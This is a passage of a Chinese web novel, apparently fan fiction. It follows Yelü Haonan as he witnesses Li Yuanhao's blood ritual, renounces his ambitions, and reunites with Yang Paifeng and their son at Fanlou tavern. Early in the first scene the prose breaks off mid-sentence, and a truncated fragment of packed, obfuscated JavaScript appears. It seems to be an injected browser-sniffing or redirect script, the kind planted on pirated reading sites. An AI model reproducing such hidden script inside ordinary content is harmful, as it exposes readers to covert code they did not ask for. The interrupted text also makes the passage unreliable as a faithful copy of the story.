三日前,天魔阵崩溃的可怖能量,将这座耗费无数人力物力、以血肉与秘法垒砌的宏伟祭坛,彻底化为一片狼藉。巨大的玄武岩祭台碎裂成无数不规则的石块,上面镌刻的诡异符文大多已被狂暴的能量抹去,只余下一些焦黑的、扭曲的痕迹。空气中弥漫着一种复杂到令人作呕的气息——岩石被高温灼烧后的焦臭、木料燃尽的灰烬味、以及……最浓烈的、挥之不去的、血肉被瞬间碳化后散发出的——甜腥与焦糊混杂的恶臭。那是祭阵时被献祭的生灵,以及阵法反噬时被卷入的无辜者,最后残留于世的气息。 废墟中央,一道身影,正在疯狂地、徒手挖掘着。 李元昊。 他身上那件代表着西夏至高权柄的玄色绣金龙袍,此刻已破烂不堪,沾满了黑灰与暗红色的污渍。袍袖从肘部以下,被他自己粗暴地撕裂,露出两条肌肉虬结、此刻却布满新旧伤痕与污垢的手臂。他的十指,更是血肉模糊,指甲外翻、断裂,掌心与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那不是寻常的符文,而是一个更加诡异、复杂、充满不祥气息的——召唤阵图!血线在焦土上蜿蜒游走,竟然泛起了幽暗的、仿佛来自九幽地狱的——诡谲紫光!紫光明灭不定,仿佛有无数看不见的怨灵、亡魂被强行拘束在阵中,发出无声却凄厉到极点的哀嚎!那种纯粹的、凝聚了无尽痛苦与绝望的精神波动,即使隔着一段距离,也让人灵魂战栗! 耶律皓南的瞳孔,骤然缩成针尖! 他看懂了。这是一种极其邪恶、代价惨重的禁术!以施术者自身的精血与疯狂执念为引,以大量的杀戮与死亡所产生的怨气煞气为祭品,强行沟通阴阳两界,召唤特定亡魂的一丝残念或痕迹! “他……竟以杀戮为祭,只为换一缕亡魂的……垂怜?” 耶律皓南心头剧震,一股难以言喻的寒意顺着脊椎爬上。这种痴妄,这种将无数生命的毁灭当作呼唤一人的“祭品”的行径…… “……竟比我当年挖心祭阵……更可悲,更可怖。” 胃里一阵剧烈的翻涌,不是因为伤势,而是因为某种深刻的、令他作呕的……共鸣与恐惧。他想起了自己当年为了虚无缥缈的复国大业,视人命如草芥,将天门阵前的厮杀、将无数士卒与百姓的性命,冷酷地计算为“必要的代价”。那些曾在他心中只是数字、只是棋子的亡魂,此刻竟仿佛活了过来,他们扭曲痛苦的面容,与眼前这血阵中泛起的诡谲紫光……重叠在了一起! 就在此时—— “噗嗤!” 李元昊猛地跪倒在地,将手中那根染满他自己与顾小怜血迹的银簪,狠狠地、用尽全力地扎入了血阵的核心阵眼之中! “嗡——” 一阵无形的波动荡开!那银簪竟然微微颤抖起来,簪身上,依稀泛起一层极淡的、温润的白光,与周遭诡异的紫色血光格格不入。一个极其微弱、却又无比熟悉的、带着无尽悲伤与决绝的女子叹息声,仿佛从簪子深处、从遥远的时空彼端传来,清晰地响起在李元昊的耳畔,也隐约被耶律皓南捕捉到: “苦儿……” “若你为恶……我必……以死相谏……” 这是顾小怜临死前,或许是在天魔阵中对他说的最后一句话! “谏啊!” 李元昊身体猛地一震,随即像是被巨大的喜悦与痛苦同时击中,他仰起头,对着漆黑的夜空发出癫狂的大笑!笑声中,他的眼角竟然因为过度的情绪激荡而迸裂,流下两道猩红的血泪! “你来啊!你再来谏朕啊!” “你不是每夜都入梦来骂朕残暴吗?骂朕冷血吗?” “好!今日,朕便如你所愿!朕就屠尽宋境!杀到地府门开,杀到黄泉路断!” “看你……还能往哪里躲!看你是不是还要躲着朕!” 惨淡的月光,不知何时勉强穿透了浓厚的云层,吝啬地洒下一缕,恰好掠过李元昊那张扭曲狰狞、沾满血泪与黑灰的面容。月光映出他眼底那种彻底癫狂、却又燃烧着某种病态期盼的亮光。 然后,他的声音忽然又变了,变得低柔,缠绵,甚至带上了几分少年人撒娇般的委屈,对着空气喃喃: “小姐……” “苦儿现在……比那个耶律皓南……还要坏了……” “你怎么……还不来打苦儿的手心啊?” “你以前……不是最喜欢打苦儿手心了吗……”** “……” 暗处的耶律皓南,在听到这一声“小姐”和后面那几句话时,浑身的汗毛在刹那间根根倒竖!一股前所未有的、深入骨髓的寒意与悚然,攥住了他的心脏! 李元昊……已经彻底疯了。不是丧失理智的那种疯,而是将所有的逻辑、是非、人伦全部扭曲。他将自己的暴行、屠戮、毁灭,全部扭曲成了一种召唤亡灵、博取关注、甚至是……撒娇求怜的畸形仪式!在他疯狂的世界里,杀人越多,罪孽越深,反而越有可能“见到”他想见的人,因为那个人“心善”,“看不得”这些,一定会出来阻止他…… 这种彻底的、令人毛骨悚然的扭曲,比任何直白的疯狂更让人恐惧。 耶律皓南的背脊,瞬间渗出一层冰冷的冷汗。他看着李元昊又从怀中掏出一把不知从哪里找来的、已经残破不堪的宋军旗帜,将其扔进了那仍在泛着紫光的血阵之中,然后点燃。 “轰!” 火光骤然窜起!在那跳动的、吞噬着旗帜的火焰中,耶律皓南的眼前,竟然出现了一瞬的幻视——那火光,与多年前天门阵前,他亲手点燃的、用以发动最后攻势、也葬送了无数性命的烽火……重合了! 那些被他以“复国大业”、“必要牺牲”之名,轻描淡写地献祭掉的性命——宋军、辽军、无辜边民、甚至是……他曾经的“朋友”与下属……他们的面容,他们倒下时的身影,他们最后的呐喊与呻吟……在这一刻,如同被打碎的镜子,带着鲜血淋漓的锋利边缘,狠狠地扎进了他的脑海! 原来……那些亡魂,与眼前这血阵中被李元昊当作祭品的怨灵……同源同孽!都是被权力的野心、被疯狂的执念所吞噬的牺牲品! 一个可怕的、让他全身血液都几乎冻结的念头,猛地窜入他的脑海: “若那日……天门阵前,排风她……真的死于阵前……” “我……是否会变成第二个……李元昊?” 是否会同样陷入这种万劫不复的疯狂执念,将整个世界的毁灭都当作召唤她亡魂的祭坛?是否会同样将所有的痛苦与罪孽,扭曲成一场自我感动又自我毁灭的畸形仪式? 他低下头,看向怀中昏迷不醒的杨排风。她的脸色苍白如纸,呼吸微弱,但胸口还在微微起伏。他的目光,落在她肩胛处衣衫破裂露出的一道旧伤疤上——那是很久以前,她为了救他或是执行任务所留下的。而这道疤的位置,竟与顾小怜心口那致命剑痕的位置……隐隐对应。 一种劫后余生的、巨大的庆幸,如同一盆混杂着冰碴的冷水,从头顶狠狠浇下!让他全身一个激灵,也让他从那可怕的幻想与自责中暂时抽离。 北汉皇图?复国霸业? 在此刻,在怀中这具温热的、真实的、曾与他分享过最后一口干粮、也为他熬过无数夜晚的身躯面前……竟然显得如此虚幻,如此苍白,如此……不值一提! 所有的野心,所有的执念,所有曾经视为生命意义的东西,在“她还活着”这个最简单的事实面前,轰然坍塌,化为齑粉。 没有任何犹豫,耶律皓南猛地伸手,扯下了自己腰间那枚一直佩戴着的,以玄铁打造、刻着繁复狼头与星辰纹路的——辽国国师令牌! 这枚令牌,曾代表着他在辽国一人之下万人之上的无上权柄,曾调遣过千军万马,决定过无数人的生死荣辱。同时,它的背后,也沾染着无法洗刷的血腥,是他“耶律皓南”那段充满算计、利用与杀戮的过去的见证。 他握着令牌,感受着其冰冷沉重的触感,以及上面那些曾让他感到权力实感的纹路。然后,他扬起手臂,用尽全身力气,将其狠狠掷向废墟旁那深不见底的悬崖深渊! “嗖——啪!” 令牌划破夜空,坠入无尽的黑暗。片刻后,从深渊底部,传来一声极其沉闷的、金属撞击岩壁的钝响。 “咚——” 那声响,不大,却异常清晰地传入耶律皓南的耳中。仿佛……不是令牌撞击岩石,而是一道无形的、沉重的、已经束缚了他太久太久的——枷锁,在这一刻,应声而断,崩裂粉碎,坠入万劫不复的深渊,永不复还。 临时找到的避难山洞,狭小,潮湿,但相对安全。洞口被耶律皓南以残存的罡气布下简单的掩蔽结界。洞内,一小堆篝火熊熊燃烧着,驱散着寒意,也映亮了一大一小两张面孔。 六岁的刘朔踮着脚尖,手里拿着从自己衣角撕下的、尚算干净的布条,正一本正经地、笨拙却又异常认真地,为坐在石块上的耶律皓南包扎手臂上一道不深不浅的划伤。小家伙的脸上沾满了逃亡时蹭上的灰土,像只花猫,但那双乌溜溜的大眼睛,在火光映照下却亮得惊人,充满了纯粹的关切与一种“我能帮上忙”的小小骄傲。 一边包扎,他一边小嘴不停,用一种极其认真、仿佛在商量什么军国大事的语气,掰着自己脏兮兮的手指头,如数家珍地报道: “爹!等咱们回去,樊楼!必须包场三天!” “蟹黄毕罗,要双份蟹膏的,少一点都不行!” “蜜煎雕花,得刻成小兔子样的,不能是别的!” “还有雪婴儿,冰屑必须是现从冰窖里刮出来的,不能有杂味!” “还有……” 他每报一道菜名,语气就加重一分,眼睛就亮一分,仿佛不是在说吃的,而是在用这些曾经属于“耶律皓南”的奢华讲究,来丈量、来确认眼前这个“刘皓南”新生后的、平凡却真实的——烟火岁月。这是孩子独有的、笨拙却温暖的方式,在告诉父亲:看,以后我们要过这样的日子了,有滋有味的日子。 耶律皓南听着,先是一愣,随即忍不住“噗嗤”一声,低低地笑了出来。笑声里带着无奈,更多的是一种从未有过的轻松与暖意。 “你这臭小子……” 他摇头,“一顿饭,怕是能吃掉当年北汉禁军……十日的粮饷。”话是这么说,可他的目光扫过儿子那长长睫毛上沾着的细小灰土,看着他那认真计算的小模样,心头某个冰封已久的、坚硬的角落,竟不可遏制地涌上一股陌生的、酸酸软软的暖流。 他故意板起脸,伸出那只没受伤的手,屈起手指,作势要弹刘朔的额头:“小小年纪,尽想着吃。明日能找到路出去,先给你买串糖葫芦练练牙口就不错了!” 手指轻轻落在孩子光洁温热的额头皮肤上,发出一声极轻的“咚”。 就在这指尖与皮肤接触的刹那—— 耶律皓南恍惚间,似乎听见了某种极其细微的、来自灵魂深处的——冰壳彻底碎裂、化为齑粉的轻响。所有的负累,所有的枷锁,所有因为过去的罪孽与疯狂而凝结的寒冰,在这最平凡的温度面前,终于……消融殆尽。 就在此时,一股清苦却让人心安的药香,在山洞中弥漫开来。杨排风在药香中,睫毛颤了颤,缓缓睁开了眼睛。 她的目光有些涣散,最初映入眼帘的,是洞顶粗糙的岩石。然后,她侧过头,看见了火堆旁,那个背对着她、正蹲在地上,用一只不知从哪里找来的、缺了口的破瓦罐,认真熬着什么的身影。 那是耶律皓南。 他的袖口高高挽起,露出结实的小臂,上面沾满了炭灰与草屑。他的手中,握着一根临时削成的木勺,正僵硬地、小心翼翼地搅动着瓦罐中翻滚的药汁。那握勺的姿势,紧绷而笨拙,不像是在熬药,倒像是在握着一柄千斤重剑,面对着世间最重要的敌人。 杨排风静静地看了片刻,嘴唇动了动,发出一丝微弱的声音。 耶律皓南身体一僵,立刻转过身。看到她醒来,他眼中掠过明显的如释重负,但很快又被一种更深的、复杂的情绪覆盖。他走过来,扶着她慢慢坐起,让她靠在自己怀里。 “你……曾说过……” 杨排风的声音很轻,带着伤后的虚弱,但目光却清晰地看进他的眼底,“复国大业……比你自己的性命……都要重要。” 这是很久以前,在他们还是敌人,或是暧昧不明的关系时,他曾对她说过的话。当时说得斩钉截铁,不容置疑。 耶律皓南沉默了。他没有立刻回答,而是转身,走回火堆旁,用一块干净的布垫着,小心翼翼地将瓦罐中熬好的、浓黑的药汁滤进一只同样粗糙的木碗里。然后,他端着那碗还冒着滚烫热气的药,走回她身边蹲下,将药碗递到她面前。 在他伸出手腕的瞬间,杨排风看到了,他的手腕内侧,一道新鲜的、尚未完全愈合的伤疤,与旁边几道颜色已经很淡的旧伤疤……交错在一起。新伤旧痕,仿佛是他人生不同阶段的印记。 “趁热喝了。” 他的声音很平静,不带多余的情绪,“现在……知道了。” 他顿了顿,目光落在那碗黑乎乎的、散发着苦味的药汁上,嘴角几不可察地勾了勾,露出一个极淡的、却真实无比的笑意: “能蹲在这里,老老实实熬一碗药,看着某个人……皱着眉头喝下去……” “比当什么皇帝,坐什么江山……有意思得多。” 话音刚落—— “哒哒哒哒!” 洞外远处,忽然传来一阵急促的马蹄声!紧接着,是探子惊惶的高呼,顺着风隐约传来:“报——!李元昊活捉宋将张亢!扬言三日内不见……便要屠渭州全城!逼……逼鬼现身!” 山洞内的气氛,骤然一紧!刘朔吓得缩了缩脖子,靠近父亲。杨排风的手也微微一颤。 然而,耶律皓南听到这个消息,身体只是微不可察地僵硬了一瞬。他没有立刻起身,没有像以往那样迅速分析局势、思考对策。他甚至……没有多看洞外一眼。 他只是转过身,从火堆旁拿起那个凌霄子留下的,此刻被重新煨热的小手炉,用自己的袖角仔细擦了擦炉壁上沾的灰,然后,轻轻地、稳稳地,塞进了杨排风微凉的手中。 “风雪大了。” 他的声音平静如常,甚至带着一丝日常的唠叨,“我去看看洞口的结界,莫让寒气进来。” 说完,他起身,走向洞口。背影挺拔,却不再是以往那种肩负着江山重量的孤峭,而是一种……守护着身后一方小小天地的坚定与从容。 这一塞,这一句话。 胜过千言万语的山盟海誓,胜过任何华丽的江山为聘。 洞外,狂风呼啸,卷着雪沫与远方隐约的血腥。洞内,药香袅袅,火光温暖,手炉的热度丝丝缕缕渗入掌心。 两个世界,一道结界。 他选择了后者。 7. 樊楼与华山 东京樊楼·最上层雅间 窗外,汴河波光在午后的阳光下跳跃,闪烁着碎金般的光泽,将河面上往来如梭的漕船、画舫,以及两岸鳞次栉比的店铺、熙攘的人流,都笼上了一层流动的、温暖的光晕。贩夫走卒的吆喝声、车马的辘辘声、沿街茶肆飘出的清冽茶香,与酒楼自身后厨传来的煎炒烹炸的浓烈香气糅合在一起,沸腾、喧嚣、扑面而来,织就了一幅浓墨重彩、充满勃勃生机的人间烟火画卷。 然而,这间位于樊楼最顶层、视野极佳的雅间内,气氛却仿佛被一层无形的隔膜笼罩,与窗外的沸腾喧嚣判若两个世界,陷入一种近乎凝滞的寂静。 杨排风安静地坐在靠窗的位置,目光却并未投向窗外那片生机勃勃的景象。她指尖无意识地、一遍遍摩挲着面前那只粗陶茶盏略显粗糙的边缘,茶水早已凉透,她也浑然未觉。她的视线,屡次不由自主地、仿佛被某种无形力量牵引着,掠过雕花的窗棂,投向远方某个特定的方向——那里,是巍峨的天波府所在。 虽然从这个角度无法直接看见府邸,但她仿佛能透过重重屋宇,看见那两扇曾经对她敞开的、如今却紧紧关闭的朱红大门,看见门前披坚执锐、面无表情的御林军侍卫,以及他们手中在盛夏炽烈阳光下,依旧反射出冰冷、肃杀光芒的枪尖。那光芒,刺痛了她的眼,也沉沉地压在她的心上。 “三位客官,久等了! 您们看……点些什么?” 雅间的门被轻轻推开,一名身着干净短褐、肩上搭着白巾的伙计,脸上堆着职业的、恰到好处的笑容,躬身走了进来,将一本以暗色檀木为封、边角镶着铜片的厚重菜单,恭敬地递到了看起来像是主事之人的耶律皓南面前。 递菜单的同时,伙计的眼角余光,却忍不住飞快地、隐蔽地,扫过坐在一旁、一身布衣荆钗、不施粉黛、神情疏离的杨排风。在这东京最顶级的樊楼,来往皆是达官显贵、豪商巨贾,如杨排风这般打扮朴素、甚至带着几分风尘疲惫之色,却又被请进最上层雅间的女客,着实罕见。伙计心中虽好奇,面上却不敢有丝毫怠慢。 菜单刚递到耶律皓南手边,还没等他碰到—— 一只白净、却带着点油渍的小手,“嗖”地一下,以迅雷不及掩耳之势,从旁边伸了过来,一把将菜单“夺”了过去! 是刘朔。 小家伙煞有介事地清了清嗓子,仿佛登台说书的先生,又像掌管家中财政大权的“小当家”,板着小脸,目光炯炯地扫过菜单——虽然上面许多字他未必全认得,但某些特定的、关乎“口腹之欲”的关键词汇,显然早已被他牢牢记在心里。 然后,他用清脆响亮、条理清晰、甚至带着点“专业”口吻的语调,开始如数家珍般地点菜: “蟹黄毕罗——必须要双份蟹膏!少一点都不是那个味儿!” “驼蹄羹——须得是炖足了六个时辰以上的!火候不到,蹄筋不糯,汤汁不醇,不行!” “雪婴儿——上面的冰屑,得是现从冰窖刮下来的!不能是搁久了的、有杂味的!” “还有金齑玉鲙——鱼片要薄如蝉翼,能透光才行!厚了影响口感!” “玲珑牡丹鲙的摆盘要精致,花瓣不能散!” “蜜煎金橘要雕成小兔子样!” “樱桃酪的蜂蜜要西域来的!” “冰镇琼霜酒先来一小瓮!” “炙驼峰还有没有?上次顺……咳,吃的那块不错!” …… 他每报出一道菜名,甚至每提出一项具体要求,坐在他旁边的耶律皓南,眉梢就控制不住地、轻微地跳动一下。 这些菜名…… 这些要求…… 一字不差。 竟与那日西夏皇宫祭坛之上,天魔阵核心,血雨腥风、生死一线之际,这小子“临危不惧”、“趁火打劫”、“临终点单”时,嚷嚷出来的内容,一字不差! 连那“双份蟹膏”、“六个时辰”、“现刮冰屑”、“薄如蝉翼”的强调语气,都如出一辙! 耶律皓南仿佛又回到了那煞气冲天、鬼哭神嚎的祭坛,耳边是儿子的“惨叫”与“菜单”齐飞,眼前是血光与账单共舞……胸口那刚刚平息些许的、因强行运功和情绪激荡而引起的隐痛,似乎又有点蠢蠢欲动。 “咳……这位……小官人……” 伙计脸上的笑容有点绷不住了,额角渗出细汗,他小心翼翼地、陪着笑脸,打断了刘朔还在继续“报菜名”的势头。 这位小爷点的,可全是樊楼最顶尖、最招牌、工序最繁复、用料最讲究,当然,也最昂贵的菜式!有些甚至是需要提前数日预定的“看家菜”! “您点的……可都是咱们樊楼的头牌,这……这价钱……” 伙计搓着手,目光在耶律皓南(衣着普通但气度不凡)、杨排风(布衣荆钗)、刘朔(活泼灵动但不像世家子)以及一直没吭声、只顾着嗑瓜子看戏的凌霄子(一身洗得发白的旧道袍)身上转了一圈,意思很明显——您几位,确定吃得起?付得起账? 刘朔被打断,不满地皱了皱小鼻子,猛地扭过头,看向一直老神在在、仿佛事不关己的凌霄子,伸出小手,用力拽了拽那宽大却陈旧的袖口。 “师傅!” 他理直气壮、声音洪亮地“揭短”,“我爹的什么北汉宝藏,早不知道埋在哪座山里烂掉了!他现在穷得叮当响,就剩一身伤和内疚了!” “这顿你先垫上!” 刘朔拍了拍小胸脯,一副“我很靠谱”的样子,指了指耶律皓南,“等他治好内伤,功力恢复了,我就让他去天桥摆摊算命!以我爹的本事,看相算命、测字卜卦,肯定日进斗金!赚了钱——” 他斩钉截铁: “肯定还你!加倍还!” “噗——!!!” 一直优哉游哉嗑着瓜子、抿着粗茶的凌霄子,闻言一口茶全喷了出来!呛得连连咳嗽,老脸涨红。 他指着自己身上那件洗得发白、袖口和下摆还打着补丁的旧道袍,痛心疾首、捶胸顿足地对着刘朔“控诉”: “三十文钱!老子这件袍子,是三十文钱从汴京东市估衣铺淘来的二手货!穿三年了!” “你、你、你小子!” 他手指颤抖地指着刘朔,又虚点了一下耶律皓南面前那份“天价菜单”,“一顿饭,就想讹出三百两银子的饭钱?! 你比辽国那些刮地皮、喝兵血的细作还能刮!还能榨!你这是要把你爹的骨头都拆了熬油,再把你师傅我的棺材本都赔进去啊!” “造孽啊!我凌霄子行走江湖几十年,就没见过比你更会‘坑师’的徒弟! 青出于蓝而胜于蓝!胜得老子心肝脾肺肾都在疼!” “……” 满室凝滞、压抑、带着隔阂与悲伤的气氛,被这突如其来、荒诞无比、却又充满鲜活市井气的“讨债”与“反讨债”闹剧,硬生生撞开了一道裂缝。 冰冷的现实,沉重的过往,无言的伤痛……似乎都被这插科打诨、讨价还价的烟火气,冲淡、搅动了。 一直沉浸在自己思绪中、神情恍惚的杨排风,终于被这番动静拉回了神。她看着儿子那副“小大人”般精于算计、又理直气壮的模样,再看看师叔那夸张的“痛心疾首”,以及耶律皓南那面无表情、嘴角却隐隐抽搐的侧脸…… 她嘴角不由自主地,牵起了一抹极淡、极涩,却又真实无比的苦笑。 她伸出手,轻轻地、带着无限怜爱与无奈,揉了揉刘朔那被他自己蹭得有些毛茸茸的脑袋。 “你啊……” 她低叹一声,声音有些沙哑,却带着久违的、属于母亲的温柔。 伙计在一旁,看着这一家子奇特的互动,最初的震惊和职业性的警惕过后,心里反而莫名地松了口气,甚至生出一丝难以言喻的熟稔与感慨。 他犹豫了一下,目光再次落到杨排风身上,这次带上了更多的审视与回忆。他试探着,小心翼翼地问道: “这位……杨娘子?” 他语气不太确定,但带着一种跑堂多年练就的、对熟客面孔的敏锐记忆,“今儿个……是腊月初六吧?” 杨排风浑身几不可察地一震,倏然抬眸,看向那伙计。眼中闪过一丝惊愕,随即化为更深的复杂。 伙计见她有反应,心里更确定了几分。他指了指雅间角落里,一张靠窗、位置极好,但显然久未有人使用、桌面积了一层薄灰的梨花木方桌,语气里带上了一种属于市井百姓的、质朴的熟稔与感慨: “您……有年头没在今日来了。” “从前啊,每年腊月初六,您都独个儿来。就坐那张桌子。” 伙计比划着,仿佛回忆起了清晰的画面,“每次来,都点一样的东西——一只咱们樊楼最拿手的金酥烧鸡,一壶窖藏的梨花白。” “从午时刚过,店里客人还不多的时候来,一直坐到日头偏西,店里快上晚市的客人了,您才走。” 伙计的声音低了下去,带着一丝不易察觉的唏嘘: “那烧鸡…… 从冒着热气、油光锃亮,放到凉透、油凝成白霜……您也几乎不动一筷子。就那么……对着空荡荡的对面座位,坐着。” “有时候,看着看着,眼泪就掉下来了,赶紧用手背抹掉。” “有时候,又自己对着空气,轻轻地笑一下,摇摇头。” “年复一年,都是这样。我们都……差不多习惯了。就是心里头,总觉得……挺不是滋味儿的。” “……” 空气骤然凝固。 仿佛连窗外汴河的波光、街市的喧嚣,都在这一刻被按下了静止键。 “哐当!” 一声清脆的撞击声,打破了死寂。 是耶律皓南手中那把正在为杨排风斟茶的白瓷执壶,猛地一颤,壶嘴磕在了茶盏边缘!滚烫的茶水泼洒出来,瞬间洇湿了他本就朴素、甚至有些磨损的青色衣袖,留下一片深色的、带着热气的湿痕。 但他恍若未觉。 伙计的话,像一把生锈的、却异常锋利的钥匙,猝不及防地,捅开了他记忆深处,某个尘封已久、刻意遗忘的角落。 时光倒流。 六年前。黑水崖底。一线天。 月光如练,透过高耸狭窄的崖缝,吝啬地洒下清冷的光辉,照亮了嶙峋的怪石和火边取暖、遍体鳞伤的两人。 连啃了七日毫无滋味的野果,嘴里淡出鸟来。篝火噼啪,杨排风用树枝笨拙地拨弄着火堆,试图让火烧得更旺些,驱散崖底的阴寒湿气。火星溅起,落入如水的月色中,瞬间明灭。 她忽然侧过头,火光在她沾着尘土、却依旧明亮生动的脸庞上跳跃,映亮了她那双总是清澈执拗的眼睛。她看着他,眼底映着跳动的火光,也映着一种近乎天真的、执拗的期盼,轻声开口,声音因虚弱和寒冷而有些发颤,却异常清晰: “等上去了…… 等我们离开这个鬼地方,” 她顿了顿,仿佛在描绘一个美好到不真实的梦境,“我请你吃汴京最好的烧鸡!” “樊楼的金酥烧鸡! 听说皮脆得咬下去会‘咔嚓’响,肉嫩得一口下去满嘴流油,香得能让人把舌头都吞下去!” 彼时,他旧伤添新伤,浑身无处不痛,每一次呼吸都牵扯着伤口,眼前阵阵发黑。死亡的阴影、国破家亡的仇恨、前路的渺茫、身份的枷锁……如同沉重的枷锁,将他死死钉在绝望的深渊。 可就在那样的情况下,他依旧清晰无比地记得,自己是如何费力地扯动的嘴角,试图回给她一个类似“笑”的表情,尽管那表情一定比哭还难看。他听见自己用沙哑得如同沙砾摩擦、苦涩得如同咽下黄连的嗓音,艰难地反问: “你觉得……有可能吗?” 国仇如山,家恨似海,生死未卜,前路尽是绝境与阴谋……何谈什么“上去”?何谈什么“汴京”?何谈什么……“樊楼的金酥烧鸡”? 那不过是绝境中,一点可望不可即的、自欺欺人的微弱星光罢了。 然而,她没有回答“可能”或“不可能”。 她只是默默地将两人最后剩下的一小块、硬得像石头的干粮,小心地掰开,将稍大、稍软的那一半,塞进了他冰凉颤抖的掌心。然后,她抬起脸,月光恰好照亮她沾着灰土、却异常笃定、坚韧的眉眼。 她看着他,一字一句,清晰地说: “只要活着,就有可能!” “咔嚓!” 一声轻微却清晰的碎裂声,将耶律皓南从汹涌的回忆中猛地拽回! 是他指间那只粗陶茶盏,因他无意识收拢的、过于用力的手指,生生捏出了一道细长的裂缝!冰凉的茶水,从裂缝中渗出,浸湿了他的指尖。 他缓缓地、极其艰难地抬起眼,凝视着坐在对面的、杨排风那因多年风霜、内心煎熬而明显消瘦、轮廓越发清晰的侧影。 目光,不由自主地,落在她随意挽起、只用一根木簪固定的发髻上。 然后,他看见了。 在她乌黑依旧、却显然不复当年浓密光泽的青丝间,夹杂着几缕刺目的、在窗外天光下清晰可见的——白发。 不多,但真实存在。 像岁月与痛苦,悄然留下的、无法磨灭的印记。 六年前,天门阵前分别时,那时……青丝如墨,浓密如瀑。 六年。 整整六年。 他“假死”脱身,隐匿身份,周旋于辽国萧太后的猜忌与利用之间,忍受天门阵反噬的日夜煎熬,暗中布局,筹谋那虚无缥缈的复国大业……在血与火、阴谋与算计的泥沼中挣扎,每一日都如同在刀尖上行走,在炼狱中煎熬。 他以为,自己承受的已是极致。 却从未想过,在远离战场与阴谋的、看似繁华安宁的汴京,在这座天下第一的酒楼,在每年固定的某一天,有人年复一年,独自坐在固定的位置,点着同样的菜,对着空无一人的座位,从午时到日落,用这种近乎自我惩罚、又固执坚守的方式,一遍遍证明、重温着那个“只要活着,就有可能”的诺言,祭奠着那个“已死”的他,等待着那个……几乎不可能实现的“可能”。 “我总想着……” 杨排风的声音,极轻、极飘忽,如同窗外一缕随时会散去的、带着茶香的烟,幽幽地响起,飘向窗外那片她凝望了无数次的方向: “万一……万一哪一次,我推门进来,走到这张桌子前……” 她顿了顿,仿佛用尽力气,才继续说出那个想象了无数遍、却从未敢真正奢望的场景: “你真的就坐在那里…… 像从前很多次那样,微微侧着头,吊着眼梢,用那种…… 惯常的、带着三分讥诮、三分复杂、或许还有一分我自己都不愿深究的别的什么的眼神看着我,然后,用那种凉薄的、却该死的熟悉的语气,对我说……” 她喉头哽咽,声音颤抖,却依旧努力模仿着,试图勾起那一丝早已刻入骨髓的语调: “‘烧火丫头……这烧鸡,凉了。’” “……” 耶律皓南喉结剧烈地滚动,如同被一只无形的手死死扼住,呼吸骤停,心脏仿佛被一只冰冷的手狠狠攥紧、揉捏,痛得他几乎蜷缩起来。 他忽然想起了两年前,他伤势稍稳,冒险潜入汴京,探查宋廷动向与杨排风消息的那个夜晚。 他隐在樊楼对面街角的阴影里,遥遥望着这座灯火辉煌的酒楼。目光,曾不经意地扫过顶层某扇熟悉的、亮着灯的窗户。 窗边,似乎有一个独坐的、纤细孤独的身影。 当时,他心头一刺,却强行移开目光,告诉自己:那或许是她祭奠杨家人,或是与友人小聚。与他这个“已死”的仇敌、魔头,毫无关系。 他甚至注意到,那身影似乎抬手,将一杯酒,缓缓倾洒在地上。 他当时以为……是祭奠杨家的英灵。 此刻,此刻才惊觉—— 那杯酒,那杯倾洒在冰冷地砖上的酒…… 是斟给“已死”的——他 是她在腊月初六,在他们“约定”吃烧鸡的日子,在他“死后”的又一年,为他这个“已死之人”,斟的一杯……无人共饮的、冰冷的“团圆酒”。 “爹!发什么呆呢!菜还点不点了?!我饿得前胸贴后背啦!” 刘朔清脆的、带着不满的嚷嚷声,如同投入死水中的石子,猛地打破了这令人心碎窒息的沉寂。 小家伙显然对父母之间这种“眉来眼去”、“悲悲切切”、“一言不发”的氛围十分不耐,拍着桌子,将众人的注意力拉回“吃饭”这件“头等大事”上。 “就是!臭小子说得对!” 凌霄子也一拍桌子,震得杯碟轻响,他指着耶律皓南,笑骂道: “发什么癔症!你那些什么复国梦、皇图业,早他妈喂了华山后山的野狗了!现在想那些有的没的有屁用!” 他一把抢过被刘朔拍在桌上的菜单,胡乱翻了两下,嘿嘿一笑,露出“果然如此”的表情: “看吧!这顿摆明了是——” 他手指在菜单上那一道道“天价菜”上划过,最后指向耶律皓南,幸灾乐祸、斩钉截铁地宣布: “是要啃你的老了!刘皓南!认命吧!从今往后,你就是个欠了一屁股债、还得养家糊口、被儿子算计的穷光蛋爹了!” “……” 耶律皓南缓缓地、深深地吸了一口气。 胸口依旧闷痛,喉咙依旧发紧,眼眶依旧酸涩。 但某种沉疴般淤积在心底、纠缠了半生的、冰冷坚硬的东西,仿佛被这接连的、巨大的情感冲击、荒谬的现实、儿子的吵闹、师叔的嘲弄……硬生生地、撬开了一丝缝隙。 他没有理会师叔的调侃和儿子的催促。 他忽然站起身。 动作有些僵硬,却异常坚定。 他一步一步,走向雅间角落里,那张积着薄灰、仿佛被时光遗忘的梨花木方桌。 走到桌前,站定。 他伸出手,指尖带着不易察觉的轻颤,极其缓慢、极其轻柔地,拂过光滑却冰冷的桌面。 指尖下,并非一片平坦。 他凝神细看。 在靠近窗边、通常摆放碗碟的位置,桌面的木纹上,深深浅浅、新旧不一地,烙印着……六道划痕。 不,不止是划痕。 是用某种尖锐之物,一下、一下,极其用力、却又带着某种仪式感地,刻上去的印记。深浅不一,有的边缘已模糊,有的还带着木头的毛刺。 六道。 像年轮,像伤痕,像……无声的计时,像绝望的等待,像固执的证明。 六年,六道。 每年一道。 证明她活着。 证明她记得。 证明那个“可能”,还在她心里,一年,又一年,未曾磨灭。 耶律皓南闭了闭眼,再睁开时,眼底那些翻涌的惊涛骇浪,已被一种更深沉、更决绝的平静取代。 他从怀中取出一物。 那是一枚龙眼大小、浑圆金黄、光泽内蕴的金珠。金珠并非普通样式,表面以极精细的失蜡法,浮雕着北汉皇室独有的、已近乎失传的蟠螭纹,中间有一小孔,似是曾用以穿线佩戴。 这是北汉宫廷旧物。是他生母留给他的、为数不多的念想之一。曾代表着他北汉皇孙的身份与血仇,也曾在最艰难时,是他未曾动用、保留最后一丝尊严与念想的“底牌”。 他将金珠,轻轻放在一旁垂手侍立、已被这接连变故弄得有些无措的伙计掌心。 “去。” 他开口,声音沙哑低沉,却异常清晰稳定,带着一种不容置疑的力度。 “把今年……” 